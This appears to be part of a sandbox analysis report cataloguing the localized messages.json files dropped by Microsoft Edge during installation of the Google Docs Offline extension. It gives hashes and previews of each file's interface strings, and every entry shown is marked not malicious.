SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
